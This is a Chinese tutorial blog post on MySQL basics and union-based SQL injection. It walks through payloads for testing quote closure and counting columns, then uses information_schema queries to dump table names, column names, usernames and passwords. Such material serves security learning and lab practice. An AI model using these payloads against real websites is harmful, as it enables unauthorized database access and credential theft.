SQL注入与MySQL查询语句

一,mysql简介

数据库A =====网站A
      表名
            列名
                  数据
数据库B =====网站B

继mysql5.0后,默认在数据库存放一个“information_schema”的数据库,其中包含三个表(SCHEMATA,TABLES,COLUMNS)

SCHEMNSz表存储该用户创建的所有数据库的库名,该表中记录数据库库名的字段名为SCHEMA_NAME

TABLES表存储该用户创建的所有数据库的库名和表名,该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。

COLUMNS表名和字段名的字段名为TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME。

二、mysql查询语句

1.#无条件查询
SELECT 要查询的字段名 FROM 库名.表名    
2.#已知一条条件查询
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’   
3.#已知两条条件查询
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知道条件1的字段名=‘已知条件1的值’ AND 已知条件2的字段名=‘已知条件2的值’    
4.基本函数
     Database():当前网站使用的数据库
     Version():当前MySQL的版本
     User():当前MySQL的用户
5.注释符号:
       #或-- 空格或/**/
       内联注释:index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
6.判断字符串引号(‘)的使用
      /?id=1'and 1=1 --+
     正常输出
     出错代表没有闭合 说明没有用’可能没有用’ 或用了”或()
      /?id=1%27and%201=2--+
      否则是”字符串注入
7.判断所在数据的列数
     /?id=1'order by 3 --+ 
     判断是否有3列
8.判断所显示内容在数据库第几列
    ’union select 1,2,3 --+
      查询所需内容 
9.查找当前用户
 ' union select 1,user(),3 --+
  root权限
10.查找当前数据库
  ' union select 1,database(),3 --+
11.查找数据库表名
  'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
   表名是xx,xxx,xxxx,
   group_concat() 计算哪些行属于同一组,且将属于同一组的列显示出来。
12.查找users里的字段
   ' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+
13.查找用户名
   ' union select 1,(select group_concat(username) from security.users),3 --+
14.查找密码
   ' union select 1,(select group_concat(password) from security.users),3 --+
15.利用union访问数据
   在访问id=1 union select 1,2,3时,执行的SQL语句为:  `Select * from users where ‘id’=1 union select 1,2,3“
   表示可以分为select \* from users where ‘id’=1和union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值